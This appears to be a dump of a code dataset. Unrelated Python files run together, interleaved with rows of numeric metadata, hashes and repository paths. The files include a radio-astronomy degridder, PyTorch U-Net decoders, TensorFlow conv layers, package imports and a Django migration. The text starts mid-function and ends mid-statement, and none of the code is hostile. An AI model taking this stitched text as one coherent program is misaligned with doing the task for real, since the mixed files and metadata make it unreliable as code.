"""
2D Convolutional degridder, discrete to contiguous
@uvw: value coordinates, (nrow, 3)
@gridstack: complex gridded data, (nband, npix, npix)
@wavelengths: wavelengths of data channels
@chanmap: MFS band mapping per channel
@cell: cell_size in degrees
@image_centres: new phase centre of image (radians, ra, dec)
@phase_centre: original phase centre of data (radians, ra, dec)
@convolution_kernel: packed kernel as generated by kernels package
@convolution_kernel_width: number of taps in kernel
@convolution_kernel_oversampling: number of oversampled points in kernel
@baseline_transform_policy: any accepted policy in
.policies.baseline_transform_policies,
can be used to tilt image planes for
polyhedron faceting
@phase_transform_policy: any accepted policy in
.policies.phase_transform_policies,
can be used to facet at provided
facet @image_centre
@stokes_conversion_policy: any accepted correlation to
stokes conversion policy in
.policies.stokes_conversion_policies
@convolution_policy: any accepted convolution policy in
.policies.convolution_policies
@vis_dtype: accumulation vis dtype (default complex 128)
"""
if chanmap.size != wavelengths.size:
raise ValueError(
"Chanmap and corresponding wavelengths must match in shape")
chanmap = chanmap.ravel()
wavelengths = wavelengths.ravel()
nband = np.max(chanmap) + 1
nrow = uvw.shape[0]
npix = gridstack.shape[1]
if gridstack.shape[1] != gridstack.shape[2]:
raise ValueError("Grid must be square")
nvischan = wavelengths.size
ncorr = scp.ncorr_out(policy_type=literally(stokes_conversion_policy))
if gridstack.shape[0] < nband:
raise ValueError(
"Not enough channel bands in grid stack to match mfs band mapping")
if uvw.shape[1] != 3:
raise ValueError("UVW array must be array of tripples")
if uvw.shape[0] != nrow:
raise ValueError(
"UVW array must have same number of rows as vis array")
if nvischan != wavelengths.size:
raise ValueError("Chanmap must correspond to visibility channels")
vis = np.zeros((nrow, nvischan, ncorr), dtype=vis_dtype)
# scale the FOV using the simularity theorem
scale_factor = npix * cell / 3600.0 * np.pi / 180.0
for r in prange(nrow):
degridder_row_kernel(uvw,
gridstack,
wavelengths,
chanmap,
cell,
image_centre,
phase_centre,
convolution_kernel,
convolution_kernel_width,
convolution_kernel_oversampling,
literally(baseline_transform_policy),
literally(phase_transform_policy),
literally(stokes_conversion_policy),
literally(convolution_policy),
vis_dtype=vis_dtype,
nband=nband,
nrow=nrow,
npix=npix,
nvischan=nvischan,
ncorr=ncorr,
vis=vis,
scale_factor=scale_factor,
r=r)
return vis
@jit(nopython=True, nogil=True, fastmath=True, parallel=False)
def degridder_serial(uvw,
gridstack,
wavelengths,
chanmap,
cell,
image_centre,
phase_centre,
convolution_kernel,
convolution_kernel_width,
convolution_kernel_oversampling,
baseline_transform_policy,
phase_transform_policy,
stokes_conversion_policy,
convolution_policy,
vis_dtype=np.complex128):
"""
2D Convolutional degridder, discrete to contiguous
@uvw: value coordinates, (nrow, 3)
@gridstack: complex gridded data, (nband, npix, npix)
@wavelengths: wavelengths of data channels
@chanmap: MFS band mapping per channel
@cell: cell_size in degrees
@image_centres: new phase centre of image (radians, ra, dec)
@phase_centre: original phase centre of data (radians, ra, dec)
@convolution_kernel: packed kernel as generated by kernels package
@convolution_kernel_width: number of taps in kernel
@convolution_kernel_oversampling: number of oversampled points in kernel
@baseline_transform_policy: any accepted policy in
.policies.baseline_transform_policies,
can be used to tilt image planes for
polyhedron faceting
@phase_transform_policy: any accepted policy in
.policies.phase_transform_policies,
can be used to facet at provided
facet @image_centre
@stokes_conversion_policy: any accepted correlation to stokes
conversion policy in
.policies.stokes_conversion_policies
@convolution_policy: any accepted convolution policy in
.policies.convolution_policies
@vis_dtype: accumulation vis dtype (default complex 128)
"""
if chanmap.size != wavelengths.size:
raise ValueError(
"Chanmap and corresponding wavelengths must match in shape")
chanmap = chanmap.ravel()
wavelengths = wavelengths.ravel()
nband = np.max(chanmap) + 1
nrow = uvw.shape[0]
npix = gridstack.shape[1]
if gridstack.shape[1] != gridstack.shape[2]:
raise ValueError("Grid must be square")
nvischan = wavelengths.size
ncorr = scp.ncorr_out(policy_type=literally(stokes_conversion_policy))
if gridstack.shape[0] < nband:
raise ValueError(
"Not enough channel bands in grid stack to match mfs band mapping")
if uvw.shape[1] != 3:
raise ValueError("UVW array must be array of tripples")
if uvw.shape[0] != nrow:
raise ValueError(
"UVW array must have same number of rows as vis array")
if nvischan != wavelengths.size:
raise ValueError("Chanmap must correspond to visibility channels")
vis = np.zeros((nrow, nvischan, ncorr), dtype=vis_dtype)
# scale the FOV using the simularity theorem
scale_factor = npix * cell / 3600.0 * np.pi / 180.0
for r in range(nrow):
degridder_row_kernel(uvw,
gridstack,
wavelengths,
chanmap,
cell,
image_centre,
phase_centre,
convolution_kernel,
convolution_kernel_width,
convolution_kernel_oversampling,
literally(baseline_transform_policy),
literally(phase_transform_policy),
literally(stokes_conversion_policy),
literally(convolution_policy),
vis_dtype=vis_dtype,
nband=nband,
nrow=nrow,
npix=npix,
nvischan=nvischan,
ncorr=ncorr,
vis=vis,
scale_factor=scale_factor,
r=r)
return vis
| 42.086466
| 79
| 0.537025
| 1,045
| 11,195
| 5.579904
| 0.152153
| 0.069971
| 0.045275
| 0.034985
| 0.889727
| 0.87978
| 0.844795
| 0.838621
| 0.811868
| 0.811868
| 0
| 0.010943
| 0.404109
| 11,195
| 265
| 80
| 42.245283
| 0.863139
| 0.248682
| 0
| 0.744898
| 0
| 0
| 0.067424
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.015306
| false
| 0
| 0.035714
| 0
| 0.061224
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d8d825fa916e70de61553893fc8f4a59b5391526
| 54
|
py
|
Python
|
odin/ml/poincare_embedding.py
|
tirkarthi/odin-ai
|
7900bef82ad8801d0c73880330d5b24d9ff7cd06
|
[
"MIT"
] | 7
|
2020-12-29T19:35:58.000Z
|
2022-01-31T21:01:30.000Z
|
odin/ml/poincare_embedding.py
|
tirkarthi/odin-ai
|
7900bef82ad8801d0c73880330d5b24d9ff7cd06
|
[
"MIT"
] | 3
|
2020-02-06T16:44:17.000Z
|
2020-09-26T05:26:14.000Z
|
odin/ml/poincare_embedding.py
|
tirkarthi/odin-ai
|
7900bef82ad8801d0c73880330d5b24d9ff7cd06
|
[
"MIT"
] | 6
|
2019-02-14T01:36:28.000Z
|
2020-10-30T13:16:32.000Z
|
import numpy as np
def poincare_embedding():
pass
| 9
| 25
| 0.740741
| 8
| 54
| 4.875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.203704
| 54
| 5
| 26
| 10.8
| 0.906977
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
d8f80bcaf4050723196a11354fc04b452a9deab6
| 8,472
|
py
|
Python
|
segmentation_models_pytorch/unet/decoder.py
|
Soo95/segmentation_models.pytorch
|
9131b336d6939dfabbadecd0d56d382283f46803
|
[
"MIT"
] | null | null | null |
segmentation_models_pytorch/unet/decoder.py
|
Soo95/segmentation_models.pytorch
|
9131b336d6939dfabbadecd0d56d382283f46803
|
[
"MIT"
] | null | null | null |
segmentation_models_pytorch/unet/decoder.py
|
Soo95/segmentation_models.pytorch
|
9131b336d6939dfabbadecd0d56d382283f46803
|
[
"MIT"
] | 1
|
2020-04-03T10:50:41.000Z
|
2020-04-03T10:50:41.000Z
|
import torch
import torch.nn as nn
import torch.nn.functional as F
from ..common.blocks import Conv2dReLU, ConvBn2d, sSE, cSE
from ..base.model import Model
class DecoderBlock(nn.Module):
def __init__(self, in_channels, out_channels, use_batchnorm=True):
super().__init__()
self.block = nn.Sequential(
Conv2dReLU(in_channels, out_channels, kernel_size=3, padding=1, use_batchnorm=use_batchnorm),
Conv2dReLU(out_channels, out_channels, kernel_size=3, padding=1, use_batchnorm=use_batchnorm),
)
def forward(self, x):
x, skip = x
x = F.interpolate(x, scale_factor=2, mode='nearest')
if skip is not None:
x = torch.cat([x, skip], dim=1)
x = self.block(x)
return x
class scSE_DecoderBlock(nn.Module):
def __init__(self, in_channels, out_channels, use_batchnorm=True):
super().__init__()
self.block = nn.Sequential(
Conv2dReLU(in_channels, out_channels, kernel_size=3, padding=1, use_batchnorm=use_batchnorm),
Conv2dReLU(out_channels, out_channels, kernel_size=3, padding=1, use_batchnorm=use_batchnorm),
)
self.spatial_gate = sSE(out_channels)
self.channel_gate = cSE(out_channels)
def forward(self, x):
x, skip = x
x = F.interpolate(x, scale_factor=2, mode='nearest')
if skip is not None:
x = torch.cat([x, skip], dim=1)
x = self.block(x)
g1 = self.spatial_gate(x)
g2 = self.channel_gate(x)
x = g1 * x + g2 * x
return x
class CenterBlock(DecoderBlock):
def forward(self, x):
return self.block(x)
class UnetDecoder(Model):
def __init__(
self,
encoder_channels,
decoder_channels=(256, 128, 64, 32, 16),
final_channels=1,
use_batchnorm=True,
center=False,
):
super().__init__()
if center:
channels = encoder_channels[0]
self.center = CenterBlock(channels, channels, use_batchnorm=use_batchnorm)
else:
self.center = None
in_channels = self.compute_channels(encoder_channels, decoder_channels)
out_channels = decoder_channels
self.layer1 = DecoderBlock(in_channels[0], out_channels[0], use_batchnorm=use_batchnorm)
self.layer2 = DecoderBlock(in_channels[1], out_channels[1], use_batchnorm=use_batchnorm)
self.layer3 = DecoderBlock(in_channels[2], out_channels[2], use_batchnorm=use_batchnorm)
self.layer4 = DecoderBlock(in_channels[3], out_channels[3], use_batchnorm=use_batchnorm)
self.layer5 = DecoderBlock(in_channels[4], out_channels[4], use_batchnorm=use_batchnorm)
self.final_conv = nn.Conv2d(out_channels[4], final_channels, kernel_size=(1, 1))
self.initialize()
def compute_channels(self, encoder_channels, decoder_channels):
channels = [
encoder_channels[0] + encoder_channels[1],
encoder_channels[2] + decoder_channels[0],
encoder_channels[3] + decoder_channels[1],
encoder_channels[4] + decoder_channels[2],
0 + decoder_channels[3],
]
return channels
def forward(self, x):
encoder_head = x[0]
skips = x[1:]
if self.center:
encoder_head = self.center(encoder_head)
x = self.layer1([encoder_head, skips[0]])
x = self.layer2([x, skips[1]])
x = self.layer3([x, skips[2]])
x = self.layer4([x, skips[3]])
x = self.layer5([x, None])
x = self.final_conv(x)
return x
class scSE_UnetDecoder(Model):
def __init__(
self,
encoder_channels,
decoder_channels=(256, 128, 64, 32, 16),
final_channels=1,
use_batchnorm=True,
center=False,
):
super().__init__()
if center:
channels = encoder_channels[0]
self.center = CenterBlock(channels, channels, use_batchnorm=use_batchnorm)
else:
self.center = None
in_channels = self.compute_channels(encoder_channels, decoder_channels)
out_channels = decoder_channels
self.layer1 = scSE_DecoderBlock(in_channels[0], out_channels[0], use_batchnorm=use_batchnorm)
self.layer2 = scSE_DecoderBlock(in_channels[1], out_channels[1], use_batchnorm=use_batchnorm)
self.layer3 = scSE_DecoderBlock(in_channels[2], out_channels[2], use_batchnorm=use_batchnorm)
self.layer4 = scSE_DecoderBlock(in_channels[3], out_channels[3], use_batchnorm=use_batchnorm)
self.layer5 = scSE_DecoderBlock(in_channels[4], out_channels[4], use_batchnorm=use_batchnorm)
self.final_conv = nn.Conv2d(out_channels[4], final_channels, kernel_size=(1, 1))
self.initialize()
def compute_channels(self, encoder_channels, decoder_channels):
channels = [
encoder_channels[0] + encoder_channels[1],
encoder_channels[2] + decoder_channels[0],
encoder_channels[3] + decoder_channels[1],
encoder_channels[4] + decoder_channels[2],
0 + decoder_channels[3],
]
return channels
def forward(self, x):
encoder_head = x[0]
skips = x[1:]
if self.center:
encoder_head = self.center(encoder_head)
x = self.layer1([encoder_head, skips[0]])
x = self.layer2([x, skips[1]])
x = self.layer3([x, skips[2]])
x = self.layer4([x, skips[3]])
x = self.layer5([x, None])
x = self.final_conv(x)
return x
class scSE_hyper_UnetDecoder(Model):
def __init__(
self,
encoder_channels,
decoder_channels=(256, 128, 64, 32, 16),
final_channels=1,
use_batchnorm=True,
center=False,
):
super().__init__()
if center:
channels = encoder_channels[0]
self.center = CenterBlock(channels, channels, use_batchnorm=use_batchnorm)
else:
self.center = None
in_channels = self.compute_channels(encoder_channels, decoder_channels)
out_channels = decoder_channels
self.layer1 = scSE_DecoderBlock(in_channels[0], out_channels[0], use_batchnorm=use_batchnorm)
self.layer2 = scSE_DecoderBlock(in_channels[1], out_channels[1], use_batchnorm=use_batchnorm)
self.layer3 = scSE_DecoderBlock(in_channels[2], out_channels[2], use_batchnorm=use_batchnorm)
self.layer4 = scSE_DecoderBlock(in_channels[3], out_channels[3], use_batchnorm=use_batchnorm)
self.layer5 = scSE_DecoderBlock(in_channels[4], out_channels[4], use_batchnorm=use_batchnorm)
self.final_conv = nn.Conv2d(out_channels[4], final_channels, kernel_size=(1, 1))
self.logit = nn.Sequential(
nn.Conv2d(384, 64, kernel_size=3, padding=1),
nn.ELU(inplace=True),
nn.Conv2d(64, 1, kernel_size=1, padding=0),
)
self.initialize()
def compute_channels(self, encoder_channels, decoder_channels):
channels = [
encoder_channels[0] + encoder_channels[1],
encoder_channels[2] + decoder_channels[0],
encoder_channels[3] + decoder_channels[1],
encoder_channels[4] + decoder_channels[2],
0 + decoder_channels[3],
]
return channels
def forward(self, x):
encoder_head = x[0]
skips = x[1:]
if self.center:
encoder_head = self.center(encoder_head)
d5 = self.layer1([encoder_head, skips[0]])
d4 = self.layer2([d5, skips[1]])
d3 = self.layer3([d4, skips[2]])
d2 = self.layer4([d3, skips[3]])
d1 = self.layer5([d2, None])
d1 = self.final_conv(d1)
f = torch.cat((
F.interpolate(skips[3], scale_factor=2, mode='bilinear', align_corners=False),
d1,
F.interpolate(d2, scale_factor=2, mode='bilinear', align_corners=False),
F.interpolate(d3, scale_factor=4, mode='bilinear', align_corners=False),
F.interpolate(d4, scale_factor=8, mode='bilinear', align_corners=False),
F.interpolate(d5, scale_factor=16, mode='bilinear', align_corners=False),
), 1)
f = F.dropout2d(f, p=0.50)
f = self.logit(f)
return f
| 35.596639
| 106
| 0.616029
| 1,042
| 8,472
| 4.757198
| 0.095969
| 0.11862
| 0.066573
| 0.106516
| 0.88138
| 0.866855
| 0.860601
| 0.841638
| 0.825096
| 0.825096
| 0
| 0.036653
| 0.272191
| 8,472
| 238
| 107
| 35.596639
| 0.767272
| 0
| 0
| 0.743456
| 0
| 0
| 0.006373
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.073298
| false
| 0
| 0.026178
| 0.005236
| 0.17801
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2b59346da29d2fc0eeca3cb8eccca3ae0679a255
| 89
|
py
|
Python
|
annotator/__init__.py
|
quinnpertuit1/ml-annotate
|
1fb5321db2168d118feb02d1d9d55f1a890e602b
|
[
"MIT"
] | 88
|
2017-08-08T08:00:20.000Z
|
2022-02-03T18:18:01.000Z
|
annotator/__init__.py
|
quinnpertuit1/ml-annotate
|
1fb5321db2168d118feb02d1d9d55f1a890e602b
|
[
"MIT"
] | 1
|
2020-04-10T17:59:11.000Z
|
2020-04-12T14:07:03.000Z
|
annotator/__init__.py
|
quinnpertuit1/ml-annotate
|
1fb5321db2168d118feb02d1d9d55f1a890e602b
|
[
"MIT"
] | 21
|
2018-02-10T15:56:39.000Z
|
2021-08-13T05:30:29.000Z
|
from .app import app # noqa
import annotator.cli # noqa
import annotator.views # noqa
| 22.25
| 30
| 0.741573
| 13
| 89
| 5.076923
| 0.538462
| 0.30303
| 0.575758
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.191011
| 89
| 3
| 31
| 29.666667
| 0.916667
| 0.157303
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
2b61e947bb2b1dffd4af25610930bfcd399abb42
| 330
|
py
|
Python
|
src/ostorlab/cli/scan/run/assets/__init__.py
|
ju-c/ostorlab
|
92c6edc204f3a0c32d0f28a37010cbeddb1818db
|
[
"Apache-2.0"
] | null | null | null |
src/ostorlab/cli/scan/run/assets/__init__.py
|
ju-c/ostorlab
|
92c6edc204f3a0c32d0f28a37010cbeddb1818db
|
[
"Apache-2.0"
] | null | null | null |
src/ostorlab/cli/scan/run/assets/__init__.py
|
ju-c/ostorlab
|
92c6edc204f3a0c32d0f28a37010cbeddb1818db
|
[
"Apache-2.0"
] | null | null | null |
"""Module contains all the supported assets that we can pass to the scan command."""
from ostorlab.cli.scan.run.assets import android_apk
from ostorlab.cli.scan.run.assets import android_aab
from ostorlab.cli.scan.run.assets import ios_ipa
from ostorlab.cli.scan.run.assets import file
from ostorlab.cli.scan.run.assets import ip
| 47.142857
| 84
| 0.815152
| 57
| 330
| 4.666667
| 0.438596
| 0.225564
| 0.281955
| 0.357143
| 0.691729
| 0.691729
| 0.691729
| 0.308271
| 0
| 0
| 0
| 0
| 0.10303
| 330
| 6
| 85
| 55
| 0.898649
| 0.236364
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
99160d31de189dece81d2ad05cb55f33b26bd0d9
| 340
|
py
|
Python
|
NanoPush/Polish_Call_Function.py
|
KristinaUlicna/NanoPush
|
7d9be1ea5b0c686920b33c2278fb9a7b30c0f7d0
|
[
"MIT"
] | 2
|
2019-10-13T21:30:47.000Z
|
2020-08-18T13:37:13.000Z
|
NanoPush/Polish_Call_Function.py
|
KristinaUlicna/NanoPush
|
7d9be1ea5b0c686920b33c2278fb9a7b30c0f7d0
|
[
"MIT"
] | null | null | null |
NanoPush/Polish_Call_Function.py
|
KristinaUlicna/NanoPush
|
7d9be1ea5b0c686920b33c2278fb9a7b30c0f7d0
|
[
"MIT"
] | null | null | null |
#Make a dictionary for Drone Nanopolish data:
from PolishClassif_Functions import ClassifyCpGsPolishDrone
ClassifyCpGsPolishDrone("/Users/kristinaulicna/Documents/Rotation_1/Archive/DRONE/NewSelectedFromRob/HelperFolder/Sorted_Drone_Sel_M_NoNone.txt", "/Users/kristinaulicna/Documents/Rotation_1/Archive/DRONE/Nanopolish_Reference/", 500)
| 68
| 232
| 0.873529
| 38
| 340
| 7.605263
| 0.710526
| 0.103806
| 0.193772
| 0.249135
| 0.3391
| 0.3391
| 0.3391
| 0
| 0
| 0
| 0
| 0.015385
| 0.044118
| 340
| 4
| 233
| 85
| 0.873846
| 0.129412
| 0
| 0
| 0
| 0
| 0.664407
| 0.664407
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
997bbd74d96e9a1b553c517fd810cf56a3bae966
| 2,269
|
py
|
Python
|
model_trainer/models/conv_layers.py
|
NeverendingNotification/nnlibs
|
193344b0ae25040a75ef000ed629f4150991064c
|
[
"MIT"
] | null | null | null |
model_trainer/models/conv_layers.py
|
NeverendingNotification/nnlibs
|
193344b0ae25040a75ef000ed629f4150991064c
|
[
"MIT"
] | null | null | null |
model_trainer/models/conv_layers.py
|
NeverendingNotification/nnlibs
|
193344b0ae25040a75ef000ed629f4150991064c
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 3 07:09:54 2018
@author: nn
"""
import tensorflow as tf
def get_conv_layers(in_img, is_train, conv_layer_params,
var_name="conv"):
layer_type = conv_layer_params["layer_type"]
n_dim = conv_layer_params["n_dim"]
act = tf.nn.relu
with tf.variable_scope(var_name, reuse=tf.AUTO_REUSE):
if layer_type == "small":
x = tf.layers.conv2d(in_img, n_dim // 4, 3, padding="same", activation=act)
x = tf.layers.conv2d(x, n_dim // 4, 3, padding="same", activation=act)
x = tf.layers.max_pooling2d(x, 2, 2)
x = tf.layers.conv2d(x, n_dim // 2, 3, padding="same", activation=act)
x = tf.layers.conv2d(x, n_dim // 2, 3, padding="same", activation=act)
x = tf.layers.max_pooling2d(x, 2, 2)
x = tf.layers.conv2d(x, n_dim, 3, padding="same", activation=act)
x = tf.layers.conv2d(x, n_dim, 3, padding="same", activation=act)
return x
elif layer_type == "tiny":
x = tf.layers.conv2d(in_img, n_dim // 4, 3, padding="same", activation=act)
x = tf.layers.max_pooling2d(x, 2, 2)
x = tf.layers.conv2d(x, n_dim // 2, 3, padding="same", activation=act)
x = tf.layers.max_pooling2d(x, 2, 2)
x = tf.layers.conv2d(x, n_dim, 3, padding="same", activation=act)
return x
elif layer_type == "midi":
x = tf.layers.conv2d(in_img, n_dim // 4, 3, padding="same", activation=act)
x = tf.layers.batch_normalization(x, training=is_train)
x = tf.layers.conv2d(x, n_dim // 4, 3, padding="same", activation=act)
x = tf.layers.batch_normalization(x, training=is_train)
x = tf.layers.max_pooling2d(x, 2, 2)
x = tf.layers.conv2d(x, n_dim // 2, 3, padding="same", activation=act)
x = tf.layers.batch_normalization(x, training=is_train)
x = tf.layers.conv2d(x, n_dim // 2, 3, padding="same", activation=act)
x = tf.layers.batch_normalization(x, training=is_train)
x = tf.layers.max_pooling2d(x, 2, 2)
x = tf.layers.conv2d(x, n_dim, 3, padding="same", activation=act)
x = tf.layers.batch_normalization(x, training=is_train)
x = tf.layers.conv2d(x, n_dim, 3, padding="same", activation=act)
return x
| 39.807018
| 81
| 0.62803
| 368
| 2,269
| 3.722826
| 0.168478
| 0.056934
| 0.170803
| 0.164234
| 0.805109
| 0.805109
| 0.805109
| 0.805109
| 0.805109
| 0.805109
| 0
| 0.039776
| 0.21331
| 2,269
| 57
| 82
| 39.807018
| 0.727731
| 0.040547
| 0
| 0.74359
| 0
| 0
| 0.042416
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.025641
| false
| 0
| 0.025641
| 0
| 0.128205
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
99a8c4cfdfe8933fc64f63675a7cbb97ba7ab036
| 15,180
|
py
|
Python
|
api/migrations/0001_initial.py
|
altest-com/siice-api
|
322098b91a8dc22de1dddb5102a4c8beddd9a009
|
[
"MIT"
] | null | null | null |
api/migrations/0001_initial.py
|
altest-com/siice-api
|
322098b91a8dc22de1dddb5102a4c8beddd9a009
|
[
"MIT"
] | null | null | null |
api/migrations/0001_initial.py
|
altest-com/siice-api
|
322098b91a8dc22de1dddb5102a4c8beddd9a009
|
[
"MIT"
] | null | null | null |
# Generated by Django 3.0.2 on 2020-04-21 15:00
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('drf_schemas', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Application',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('document', models.CharField(max_length=255)),
('year', models.IntegerField()),
('status', models.CharField(choices=[('created', 'created'), ('accepted', 'accepted'), ('rejected', 'rejected'), ('archived', 'archived')], default='created', max_length=255)),
('accepted_at', models.DateTimeField(blank=True, null=True)),
('rejected_at', models.DateTimeField(blank=True, null=True)),
('archived_at', models.DateTimeField(blank=True, null=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Corporation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('name', models.CharField(max_length=255)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Dependency',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('name', models.CharField(max_length=255)),
('corporation', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='dependencies', to='api.Corporation')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='File',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('file', models.FileField(upload_to='')),
('size_bytes', models.IntegerField(blank=True, default=0)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Image',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('image', models.ImageField(upload_to='')),
('size_bytes', models.IntegerField(blank=True, default=0)),
('height', models.IntegerField(blank=True, default=0)),
('width', models.IntegerField(blank=True, default=0)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Position',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('name', models.CharField(max_length=255)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Toxicological',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('status', models.CharField(choices=[('created', 'created'), ('started', 'started'), ('finished', 'finished')], default='created', max_length=255)),
('result', models.TextField(blank=True, default='')),
('passed', models.BooleanField(blank=True, null=True)),
('started_at', models.DateTimeField(blank=True, null=True)),
('finished_at', models.DateTimeField(blank=True, null=True)),
('eval_data', models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='toxicological_eval', to='drf_schemas.Item')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Socioeconomic',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('status', models.CharField(choices=[('created', 'created'), ('started', 'started'), ('finished', 'finished')], default='created', max_length=255)),
('result', models.TextField(blank=True, default='')),
('passed', models.BooleanField(blank=True, null=True)),
('started_at', models.DateTimeField(blank=True, null=True)),
('finished_at', models.DateTimeField(blank=True, null=True)),
('digi_entry', models.CharField(blank=True, choices=[('empty', 'empty')], default='', max_length=64)),
('digi_date', models.DateField(blank=True, null=True)),
('digi_id_type', models.CharField(blank=True, choices=[('ine', 'ine'), ('passport', 'passport')], default='', max_length=64)),
('digi_id_number', models.CharField(blank=True, max_length=64, null=True)),
('digi_image', models.OneToOneField(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='socioeconomic_digi', to='api.Image')),
('eval_data', models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='socioeconomic_eval', to='drf_schemas.Item')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Secondment',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('name', models.CharField(max_length=255)),
('dependency', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='secondments', to='api.Dependency')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='Psychological',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created_at', models.DateTimeField(auto_now_add=True)),
('updated_at', models.DateTimeField(auto_now=True)),
('status', models.CharField(choices=[('created', 'created'), ('started', 'started'), ('finished', 'finished')], default='created', max_length=255)),
('result', models.TextField(blank=True, default='')),
('passed', models.BooleanField(blank=True, null=True)),
('started_at', models.DateTimeField(blank=True, null=True)),
('finished_at', models.DateTimeField(blank=True, null=True)),
('eval_data', models.OneToOneField(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='psychological_eval', to='drf_schemas.Item')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
